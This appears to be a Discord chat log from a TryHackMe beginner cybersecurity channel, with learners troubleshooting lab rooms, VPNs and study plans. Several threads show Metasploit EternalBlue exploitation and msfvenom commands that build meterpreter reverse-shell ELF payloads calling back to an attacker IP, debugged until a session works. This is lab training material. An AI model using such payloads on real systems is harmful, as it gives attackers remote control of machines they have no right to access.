So what other rooms or challenges do you think I should take in order to have the basic level required to pass that exam?

brisk mountain
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Hi i have a problem with the Active directory basics room. the machine won't start and freezes at please wait for the group policy client. is there a fix to this ?

brisk mountain
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nvm fixed it

rare dagger
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Since I am still in the pre req part of the cyber security path way. What practice rooms would you recommend or should I just wait till I'm further along to fully understand

rotund thicket
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Hi All! I'm stuck on a problem & would love some help if possible. I'm in the Metasploit: Exploitation room, Exploitation section. I'm usingwindows/smb/ms17_010_eternalblue, have set the payload togeneric/shell_reverse_tcp, and the lhost to the target ip. When I run 'exploit', it says that target is not vulnerable & no session is created. According to instructions, I'm supposed to be able to interact with the session. Also, this is needed to answer a couple of questions. Any help would be appreciated.

hollow pelican
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make sure u start the right vm

rotund thicket
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I'm using the attackbox.

hollow pelican
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ye but the vm u are attacking

rotund thicket
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yes, I set it to the target ip address (copy/pasted)

hollow pelican
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Check if you have started the correct virtual machine for that part of the path; verify if the one you have started is the exploration virtual machine or the previous one.

rotund thicket
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Ahh, I'll try that. I think I might've been on the prvevious one. Thank you

hollow pelican
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np

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the machine is always right

rotund thicket
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worked.. thanks again!

rotund thicket
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In Metasploit: Meterpreter room, Task 3 (Meterpreter Commands), how do I get the meterpreter command prompt?

ashen sand
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Anyone else have issues with the Blue Room in Metasploit module?

I tried to run exploit but Metasploit said machine is not vulnerable?

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update: tried switching from kali box to attackbox, worked up until i tried the command to run switch from shell to meterpreter and it started sending a bunch of shells to ip address so i rebooted the system again

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The target is not vulnerable.

ashen sand
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skipped the shelltometerpreter and was able to succesfully complete the room

polar shoal
grand widget
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Hey, I am in the CAPA (Common Analysis Tool for Artifacts) room, and I am having difficulty getting the machine to load properly

#

Did anyone else have this issue when doing it?

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Nvm, issue is resolved, just took a long time to load :3

plucky skiff
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Hello, I want to learn about cybersecurity but I don't know where to start.

iron herald
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~/Hashing-Basics/Task-6/hash1.txt

true solar
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Hello interested

neon timber
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Hello guys

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can somebody help me in solving this issue with my VPN "Looks like you're running Kali @MuirlandOracle

[+] Stable internet connection
[+] OpenVPN is installed
[+] tun0 exists
[+] tun0 IP is in the correct range
[+] Only one instance of OpenVPN is running
[+] Confirming connectivity
[-] MTU value failed at 1000, aborting MTU check
[-] Something went wrong -- please ask for further assistance in the TryHackMe Discord server, subreddit, or forum

rough canopy
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hi can someone tell me how to advance in the attacking field of cybersecurity i am just learning random things like solving bandits levels in overthewire and learning scancode-toolkit learnig python for scripts what to do i just taken some projects and started building what more can i do can someone please guide me

jade lily
lethal widget
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Am I ready for the sec+ if Im getting 70-74% on the Dion practice exams?

cosmic agate
# modest glen Hi everybody, I just passed SEC1, and the Cyber Security 101 path is clearly ve...

Hi, so you passed the Cert meaning you got certified in SEC1, right?
But by going through the Cyber Security 101 path you couldn't get enough knowledge to pass the exam easily and/or with a good result in the parts of the exam:

  • Web Pentesting
  • Brute force/cracking

Do I get it right? I also intend to do the exam and want to know what it's like. Maybe the Junior pentesting path contains some rooms.

wheat frigate
lethal widget
olive fogBOT
#

Gave +1 Rep to @wheat frigate (current: #3601 - 1)

valid plume
modest glen
# cosmic agate Hi, so you passed the Cert meaning you got certified in SEC1, right? But by goin...

Hi, correct, I got certified in SEC1.

Yes, you get it right. Although I was technically able to pass the exam with Cyber Security 101 only, I didn't get good results in read teaming.

I guess it's still possible to get good results with nothing more than Cyber Security 101, but then I think you'd have to pay attention to every single tiny detail from each room without exception. In my case I got one word wrong in a single command which made me completely fail (10/100) a big section, and if I had more time I would probably have realized my mistake at some point by coming back to that specific tool and checking more closely my initial command (I did take notes from the dedicated room for that tool, so no missing knowledge here, just a lack of experience). Instead, I quickly switched to other tools which were a dead-end and wasted all my time.

So it's just I have the feeling that the Cyber Security 101 path gives you all the raw knowledge, but it's really a shame that there isn't a big room or final challenge at the end of the path that allows you to put all of that knowledge back together and practice various red teaming scenarios all at once. I think that's the only thing missing right now in that path.

Now I have all the basic tools and knowledge, but not enough experience to be able to decide right away approach is the best in a specific case (so, instead, I try many things, hoping one will work).

wheat frigate
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I haven’t taken SEC1 yet, but purchased it. I would say that much like any “boot camp” or 101 level course, you will learn the basic concepts but from there you have to go deeper on topics to gain more knowledge to be proficient in that concept.

simple mirage
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Are there any updated rooms after AI boom? Like I'm in the room search skills. It seems mostly on using google, duckduckgo etc. but how about utilizing chatgpt in a hacking use case

eternal stream
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I only use ai when i need to analyze big chunks of code or any other type of information

cosmic agate
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Thanks for this info. It's like fresh air after being waterboarded for hours in the CAPA room. So many rooms were great experience even if things sometimes got difficult, but CAPA is a different beast. I kinda got discouraged a bit and had to look for CAPA related information if anyone else suffered.

olive fogBOT
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Gave +1 Rep to @royal timber (current: #1428 - 4)

tame stone
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So just got through the fundamentals. Admittedly this is all new. Is there labs I should be doing to brush up on the basics before heading into cyber 101?

cosmic agate
rare dagger
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question..since i am still early in my learning paths...until i am able to get linux on to a deidicated machine...is it still good to use the THM virtual machiines for easy challenge rooms once i am able to do those comfortably ?

tame stone
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So for the powershell lesson, the last few questions I had to look up to figure out how to solve the challenges. Is there material I can reference? I feel like the instruction didn't cover all the commands needed. Or am I overthinking it and just keep going through? Just got to Linux.

modest glen
modest glen
rare dagger
modest glen
# rare dagger i will at some point once i know how to do so..i mostly want to use the VM here ...

It's very easy. All you have to do is go to https://www.kali.org/get-kali/#kali-virtual-machines, then download for example the VirtualBox version. Of course, you need to download and install VirtualBox too: https://www.virtualbox.org/wiki/Downloads. Then you add the Kali VM to VirtualBox, and that's it basically. Let me know if you need help with the configuration.
You'll also have to download the .ovpn file from THM (to your VM) and use "sudo openvpn [THEFILE]" before accessing THM's machines.

#

Give it enough resources if you want the tools within Kali to be fast enough (especially when cracking stuff).

gilded silo
rare dagger
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Thanks guys. If I get stuck I'll reach out

dim cradle
#

Could someone please help me with this recap question:

Which command would properly search for a specific string in a PCAP file using tshark?

I'm going mad trying to solve this 😅

tacit folio
#

Looking for cybersecurity 101 notes. Has anyone made a summary or cheatsheet for the whole path or anyone has good notes?

abstract finch
#

Hello my name is Mark

tardy cloud
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I’m having hard time retaining all the information I’m learning. I’m nervous that I’m going to get to PT1 and freeze up. Any suggestions.?

fallen hill
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Hi

ionic fable
ionic fable
severe night
tardy cloud
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That’s literally what I’m doing now. Haha I have a whole spiral notebook full of just shit from every task. But as soon as I do a topic refresher it’s like my mind is in hamster wheel mode. @severe night

clear badger
tardy cloud
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It’s all physical notes. I literally read everything first and then I write EVERYTHING that’s in each task. Highlighting things that are highlighted in the actual tasks. @clear badger

severe night
jade lily
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I write all notes in my own words on Obsidian but if I want a recap or additional reinforcement of learning I will pass my Obsidian notes to NotebookLM.

onyx forum
#

Me and a Friend got the Problem that the Virtual Machine from Active Directory Basics is not Starting if you active it its gonna stuck on the Applying Computer Settings and then freze

sonic frost
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If its allowed can someone please share his notes

severe night
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I bought Notion AI subscription and let him summarize texts I wrote to my self

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If it’s allowed I can share a few pages

sonic frost
obsidian vessel
#

hey everyone ! just started the course and it's so interesting

glass olive
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“Hello everyone, my name is Vandini. I am currently taking the Cyber Security 101 course and wanted to connect with others to exchange ideas a bit. I am currently at 77% in the course.”

full dock
#

Anyone can offer me guidance on metasploit:explotation task 6?

sonic frost
#

Is there any CTFs specifically for cyber security 101 content so that I am able to test on what I learned ?

glass olive
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Yes there is a Certification if you complete the courese there you can Show your skills

mortal phoenix
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Gugs

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It’s is possible to crack pdf pass

teal zephyr
mortal phoenix
teal zephyr
# mortal phoenix Can u crack if I send a file

Nah, that would be against the purpose and TOS of this platform. This is a learning platform, and only educational content is allowed. To crack some random pdf without the creator's consent is not legal, inside or outside this platform.

olive fogBOT
#

Gave +1 Rep to @teal zephyr (current: #873 - 8)

misty pecan
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Hey ! actually doing the Exploitation Basics > Metasploit:Exploitation and i find it a bit odd that for Task05 you need to use Meterpreter for the 1st time where the actual course on Meterpreter is the next room, couldn't solve this one with the the actual explanation, had to look for other people answer which i find frustrating especially if you have a dedicated room to learn about it just after. Overall i find the course really good and had not struggle for the rest of the rooms, this is just a feedback and thanks you everyone who worked on it 🙂 maybe i'm missing something , have a great one !

glass olive
#

Hey I have a Problem in firewall fundamentals task 4

“For this task, you have to enter an IP from TryHackMe in the browser of the virtual machine, and a page should appear, but for me it says ‘Cannot reach the page’.”

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Can someone help me ?

severe night
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Hey guys , Im about to finish this path , and I start mess with a challenges and I’m getting lost when I need to understand what to check ,
What your work flow on CTFs ?

remote timber
#

How important is it to remember all the most used network Ports? Ssh, http, https etc
Working in a different it field i would look up something similar with two clicks

waxen hinge
remote timber
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olive fogBOT
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Gave +1 Rep to @waxen hinge (current: #148 - 72)

stone oracle
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Ehi

void plaza
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Hey guys, I was wondering that since pre security got revamped, should i go back to it and do the new rooms or stick to cybersecurity 101 then go back to the pre security path once im done?

crisp cairn
kind marsh
neon timber
neon timber
neon timber
hard siren
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i just finished pre sec (new) i want to become a Penetration Tester so what is the next logical step i saw cyber sec 101 but many things there i learnd already in the pre sec (legency)?

olive fogBOT
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Gave +1 Rep to @crisp cairn (current: #1794 - 3)

void plaza
kind marsh
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some stuff like the new windows and Linux cli rooms they added to presecurity, I didn’t take notes because I knew them already

But stuff like the operating system, components of a computer , virtualization and cloud computing basics , data encoding , cia triad etc . I made sure to take notes

void plaza
olive fogBOT
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Gave +1 Rep to @kind marsh (current: #3657 - 1)

jade lily
void plaza
jade lily
olive fogBOT
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Gave +1 Rep to @jade lily (current: #1794 - 3)

kindred ore
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hey guys in the room "Networking Secure Protocols" im not sure but i think there is an issue with the very final flag am i allowed to post it in here?

kindred ore
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when we use wireshark at the end

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the flag in wireshark is slightly longer by one B than what is allowed i think

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unless the brackets in HTTP/2 are written with a B but i thought it was with %7

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can i dm to not spoil the flag if anyone hasnt done it?

jade lily
kindred ore
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Thank you @jade lily

olive fogBOT
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Gave +1 Rep to @jade lily (current: #1451 - 4)

midnight walrus
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I'm sorry Bob in R&D, they made me do it

sweet rain
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@jade lily totally agree!! I started using Joplin Notes from the beginning of my studies and it’s the best thing I ever did. 8 months now and it’s a wealth of structured information that I use for reference and writing lab notes and practise pen test reports from my home lab work and try hack me rooms.

jade lily
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Looking for a little guidance.
Metasploit Task 5: Exploitation: I was able to find the flag. Now I am unable to get Meterpreter to run so I can't use hashdump. I have been unable re-run the the reverse_shell as well. I have tried restarting everything and made sure I am running the correct target machine etc.

severe night
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You can always terminate and re create the machine

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Hello guys , I finished finally this path , any recommended CTFs to challenge the knowledge I get from this path ?

jade lily
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I feel like I'm missing something with the Metasploit Exploitation stuff. It's a "20min" room but has taken me days.
There's a lot of instructions saying use Meterpreter, however, that isn't covered until the next room.
Is it also normal for Metasploit to constantly crash or hang up?
I find I'm spending forever terminating and restarting terminals.
All rooms up to this point have been great and easy to follow and learn but this one seems 🤯

severe night
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i can help you tmr if u want dm me

jade lily
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@severe night thank you for your help!

olive fogBOT
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Gave +1 Rep to @severe night (current: #3658 - 1)

thin kettle
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I'm stuck. I admit, I'm totally stuck on OWASP Top 10 2025: Application Design Flaws Task 5... I completed all previous tasks with ease, but I obviously cannot make the leap for this task - can anyone point me a direction?

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I spent almost 3 hours on this 30min room, just because of this task, apparently my brain's gone offline 🤷‍♂️

woeful jungle
thin kettle
woeful jungle
neon timber
woeful laurel
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There is a reason THM provide a short list during metasploit... running the rockyou.txt
I checked, it is in there. Its still going i've made a coffee, still going. 😄

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That says it all:
Machine expiring soon

Your machine is going to expire soon. Close this and add an hour to stop it from terminating!

granite spear
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Hey i just finished the Pre-Security path and starting SEC-1 preparation now.
Anyone want to team up and study together?
DM me 🙂

violet verge
neon timber
unreal raptor
olive fogBOT
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Gave +1 Rep to @unreal raptor (current: #3672 - 1)

surreal cosmos
jade lily
jade lily
surreal cosmos
jade lily
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If you want to complete the pathway then you would require a subscription

surreal cosmos
jade lily
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Click your profile picture -> Manage account -> Left side (Subscription) -> Should find what you're looking for there.

surreal cosmos
woeful jungle
surreal cosmos
woeful jungle
surreal cosmos
lethal widget
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I passed my sec+. Any advice on what to do next?

slim gazelle
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Congrats 🎉

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I want to ask CyberSecurity 101 path has 2 common rooms named Linux Fundamentals & Windows Fundamentals as compared to Pre-Security path

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So whys that?

jade lily
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The Pre-Security Course has been redesigned and no longer contains the Linux & Windows Fundamentals Sections.

plucky laurel
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Any1 got the hundred sessions issue when running eternal blue? room/blue ?

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208 sessions....

woeful jungle
plucky laurel
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But I did the most basic steps, nothing extra

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I believe I only did setg rhosts <ip> and run

woeful jungle
frank wolf
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guys i want to answer this quetions
room JavaScript Essentials

In the file invoice.html, how many times does the code show the alert Hacked?```
the answer is 3 but why is wrong answer?
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<!DOCTYPE html>
<html lang="en">
<head>
    <title>Hacked</title>
</head>
<body>
    <script>
        for (let i = 0; i < 3; i++) {
            alert("Hacked");
        }
    </script>
</body>
</html>

this is the script. the correct answer is 3 but it's wrong, so when trying the correct answer is 5, maybe something miss validation @woeful jungle

violet verge
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Its confusing off course

frank wolf
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owhh i see, im sorry, my bad

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thanks for the info

faint heath
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Hey, i need a bit of help with the room Moniker link. Task 3 exploitation,
when i use Responder -I ens5 , i keep getting a ssl port error which i cannot connect to any ports, the code works fine, email sends, but nothing is receiving on my side

neat jetty
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hey, I could use some help in Metasploit Exploitation Basics I'm stuck on trying to find the flag.txt file

clear vale
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This basic Burp Suite task 10 load time is giving me headache unless I misconfigured something which I don't think I did? Has been loading for like a long time now. Does anyone else have the same issue?

clear vale
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Yes, even the web showed up in the proxy tab

clear vale
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But the actual page wouldnt load

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Oh I get it, so I have to turn my intercept off

south kelp
clear vale
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ah and in future tasks when I have my intercept on I can press forward to actually do that I get it

gilded silo
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Intercept is useful when you want to edit the HTTP request before sending it

faint heath
fast osprey
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Hey in gobuster: the basics. I am having an error to connect to the offensivetools.thm

fast osprey
woeful jungle
fast osprey
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done ty

neat jetty
inner hill
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Anyone able to help me with the topic transition recap, the AWS enumration question, I'cve ytried several times and it's not working

gleaming quest
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hey im new on discord i am about 80 percent done on the cysec course i just finished the capa room

minor pumice
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anyone know how to get the blue room .ova offline files? tried getting it from the resource page but the google drive links give a 404.

late quarry
queen obsidian
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guys I have a problem with the Metasploit: Exploitation -> MsfVenom maybe you can help me. I made the payload using msfvenom , i download it on the target machine set it as executable but when I run it I get a Segmentation fault ( core dumped) message

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this is the payload : msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.113.126.xxx LPORT=7777 -f elf > rev_shell.elf

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and this is the message when trying to run on the target machine
./rev_shell.elf
Segmentation fault (core dumped)

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I tried to make the payload also as x64 : msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.113.126.xxx LPORT=7777 -f elf > rev2_shell.elf , same error

late quarry
queen obsidian
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Yes

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Tried different ports

late quarry
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What values did you supply?

rancid vine
queen obsidian
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This is the exact command to make the payload

queen obsidian
late quarry
fallen narwhal
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@late quarry u know too much 😂😭😂

queen obsidian
olive fogBOT
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Gave +1 Rep to @late quarry (current: #11 - 923)

queen obsidian
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What I think now is that i need to remake tha commands fro msfvenom and msfconsole to use x64 instead of x86

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i tried : msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.113.103.174 LPORT=7777 -f elf > rev_shell_x64.elf and set payload linux/x64/meterpreter/reverse_tcp

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same issue

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./rev_shell_x64.elf
Segmentation fault (core dumped)

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trying now to make the payload stageless see if this helps

late quarry
late quarry
queen obsidian
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x64 both

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what should i put as payloader in this case?

late quarry
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Or attacker IP?

queen obsidian
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attacker ip

late quarry
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What is the output of uname -a?

queen obsidian
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Linux ip-10-113-89-181 5.15.0-124-generic #134~20.04.1-Ubuntu SMP Tue Oct 1 15:27:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

late quarry
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Also, can you try this instead -

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.113.103.174 LPORT=7777 -f elf -o rev_shell_x64.elf

queen obsidian
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ok

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i'll try now

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i'll just change the ip to the new ip

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same thing

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[] Started reverse TCP handler on 10.113.89.181:8888
[
] 10.113.151.128 - Command shell session 1 closed.
[*] 10.113.151.128 - Command shell session 2 closed.

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this is on attacker

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and this is on target

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root@ip-10-113-151-128:/# chmod +x rev_shell_x642.elf
root@ip-10-113-151-128:/# ./rev_shell_x642.elf
Segmentation fault (core dumped)
root@ip-10-113-151-128:/# ./rev_shell_x642.elf
Segmentation fault (core dumped)

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i've changed your text to msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.113.89.181 LPORT=8888 -f elf -o rev_shell_x642.elf , changed the ip and port

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and on msfconsole I've set ip and port accordingly

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and used msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell_reverse_tcp

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MADE IT WORK!

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sorry for the caps :), just happy

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I made 2 changes, i used stageless instead of Staged payload and changed to the default port 4444 : msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.113.89.181 LPORT=4444 -f elf > clean_shell.elf

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meterpreter connection is now working

waxen epoch
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Hello! Starting out as a beginner in cyber in my mid-twenties.
Wanna rely less on AI and more on the amazing people out here for guidance and accountability. Learning alone is boring, and I tend to forget things often and lose consistency.
Currently going through the CyberSec 101 Exploitation Basics module. Nice to meet y'all and looking forward to learning with you.

glossy egret
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Nevermind. Thanks!

torn rock
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I just finished the tryhackme metaspolit:exploitation module and couldnt do it without a video which was the first time I had to do that. The next one is metasploit: meterpreter. How would a more seasoned hacker face this in the perspective of someone who only has a tad comp sci background but no cyber background? I was left in shambles. It said 20 minutes, I tried doing it myself and spent 2 hours and just decided that I needed outside help.

late quarry
tight axle
late quarry
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As part of the learning process, I'd say it is a start which you, as the learner, should build upon.

thorn python
late quarry
nova plinth
shadow quarry
tribal kernel
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they are on the wrong machine

shadow quarry
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that too

tribal kernel
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wrong folder

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etc

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this is the attackbox

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the attackbox wont have your flag

nova plinth
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god im soo dumb

shadow quarry
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lol

drifting wasp
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How to download evil twin

thorn python
olive fogBOT
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Gave +1 Rep to @late quarry (current: #11 - 936)

thorn python
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now i tried a different device (which is my phone) and it works. i think i'm just gonna borrow a friend's device for this one room. thanks for help:)

steel isle
thorn python
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Oh, ok, I'll check that. Thank you:)

vestal whale
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Hi i am in Network Troubleshooting, itss on Windowscommandline. my question is: I try to ping example .com its request timeout. i try google.com also same. anyone can help?

shadow quarry
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on your own device

vestal whale
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ssh user@10.48.131.48 as user this one always request timeout

shadow quarry
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target ip

vestal whale
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10.49.146.80

shadow quarry
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do you mind sending a ss ?

vestal whale
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ss.. why dont have upload picture here...

shadow quarry
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oh damn , i just noticed

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i can help you in DMs , i've recently completed that module

vestal whale
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need another help, on module 4 windowspowershell.. Launching PowerShell.. is it on my own machine? those attackBox doesnt have windows split screen, only stuck on Remmina, can not open powershell

vestal whale
shadow quarry
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hi , im having some issues on the recap for pwoershell commadns cmdlet

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i've entered the same commands in the shell but it says wrong everytime

shadow quarry
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What command would execute the Get-ComputerInfo cmdlet on a remote computer named 'BLACKPEARL' using the credentials 'SHIP\captain'?
invoke-command -Computername BlackPEARL -Credential SHIP\captain -scriptblock { get-computerinfo}

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i reavled the answer too as well and its the same thing there

vestal whale
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i have problem, room linuxshells, ls only flag_hunt.sh, dont have like Documents, Desktop, Downloads and others..

vestal whale
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its say that under maintenance on the end of program. but i still can follow along!

vestal whale
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what happen in Wireshark: The Basics.. start machine is grey!

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i try to open last machine on network.. back to wireshark and its open! is it bug?

gentle peak
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Those of you who are on this path, are you already able to complete some of the challenges? There are some easy ones where I can apply a lot of the fundamentals, but sometimes I get stuck and can't solve them... sometimes I think I'm just dumb... I believe that even the easy ones have tools that the 101 hasn't fully covered yet, but I'm only halfway through the course.

tight axle
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After learning them, you can try to solve some basic pentesting rooms like vulnversity, pickle rick, easy peasy, etc. They are great for practice with tools. But all of these challenges usually require some sort of privilege escalation which you can get the gist if you read or watch some walkthroughs.

shadow quarry
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hi , i was wondering if there are any extra challenge rooms or exercies i can do while doing this path

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like if i complete the cryptography module and want to test , where should i looking to do some exercises

tight axle
shadow quarry
tight axle
shadow quarry
shadow quarry
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alr got it , tysm

shadow quarry
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Is it just me or metasploit module is hard as fuck ?

tawdry stirrup
hot kite
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Slm

tight axle
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You can view it as a tool to automate all kinds of exploits

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If you feel stuck, watch a walk through on youtube or ask questions here.

graceful flower
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In System Configuration, what is the full command for Internet Protocol Configuration?

shadow quarry
shadow quarry
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Couldn’t just get the thing where they started meterpreter outta nowhere in the exploitation one

tight axle
shadow quarry
loud breach
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hey i am currently in the room linux fundamentals part 3 in the third task and it asks me to edit 'task3' located in tryhackme's home but i can't find it

loud breach
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and now in /home/tryhackme there isn't task3 bruh😭

tight axle
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did you ssh to target machine?

loud breach
loud breach
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Lmaooo ty bro

tight axle
loud breach
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Qardas

tight axle
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dafuq

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how do you know that

loud breach
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I am turkish

tight axle
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ooo kardes))

loud breach
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Ahahah yeahhhh

tight axle
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bi sorun falan olursa dmden yaza bilirsin istersen

loud breach
tight axle
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kendine iyi bak)

astral tiger
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hi everyone i'm David and iam looking for place where i can be mentored through my learning phase on cyber security, all i have is just a penetration lab set up and zero knowledge about what to do with it, pls i need help thank you guys in anticipation.

cyan gust
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Why did he not let me log in the password is right a!!
i

spring fulcrum
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qa

marble root
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Hello am new here and want to gather as many information I can

gentle peak
astral tiger
olive fogBOT
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Gave +1 Rep to @gentle peak (current: #3749 - 1)

vestal whale
queen kindle
rare nest
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Hey I completed the TryHackMe Cyber 101 path 3 days ago but still don’t understand 50% of it. Is that normal? What should I do next, should i just review them or go to the SOC level 1 path I want to be a SOC analyst. I will be willing to have a study partner

rustic current
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soc sim can be helpful for a lot of it

median marlin
median marlin
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▶ Play video
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Also this series might help a lot

craggy patio
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hey, im not sure if this is the right place for this but the "Shells Overview" room in module 9 just won't load. it just comes up with a blank screen where the tasks should be

rancid zealot
tacit folio
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what is the answer of this question?

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What Tactic does the Hide Artifacts technique belong to in the ATT&CK Matrix?

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can't find the hints.

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@rain axle why can't it update?

worldly hawk
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im trying to get an internship in cybersec , i have linux fundamentals down : i complete the linux command line book along with practicals on my virtual box and then overthewire bandit , i wanna move on to networking and professor messer seems good but what about practicals and hands on labs ? how and where do i do it from

tight axle
placid veldt
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Hello guys, in the task 4 of the Linux Fundamentals Part 3 room, the question requires me to download a .flag.txt file from the target machine. However, I can't find the required file in the home directory of the target. Is this a missing?

deft pilot
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The thing that wasnt working for me was that I wasnt within a new terminal (which it does say to do lol) but then within the new term, use the "wget" command followed by the full URL. Once downloaded use the ls -a command that will show the hiddle flag file. Then just CAT to see the answer. Hope that helps dude! 😊

hidden depot
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Hello everyone! My name is Keysie. I am reaching out to ask if there is a group of beginners here on Discord who are studying cybersecurity online. I would love to brainstorm ideas and help each other learn together! 😁

delicate depot
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Hey could anyone help me, I got stuck on Linux fundamental part 3, task 6, which is the question is

"When will the crontab on the deployed instance run?"

While the crontab 05**1,
when I search it on crontabguru it says monday, but I can't even type Monday, I try 05.00am but it still can't work, did I missing something?

placid veldt
amber palm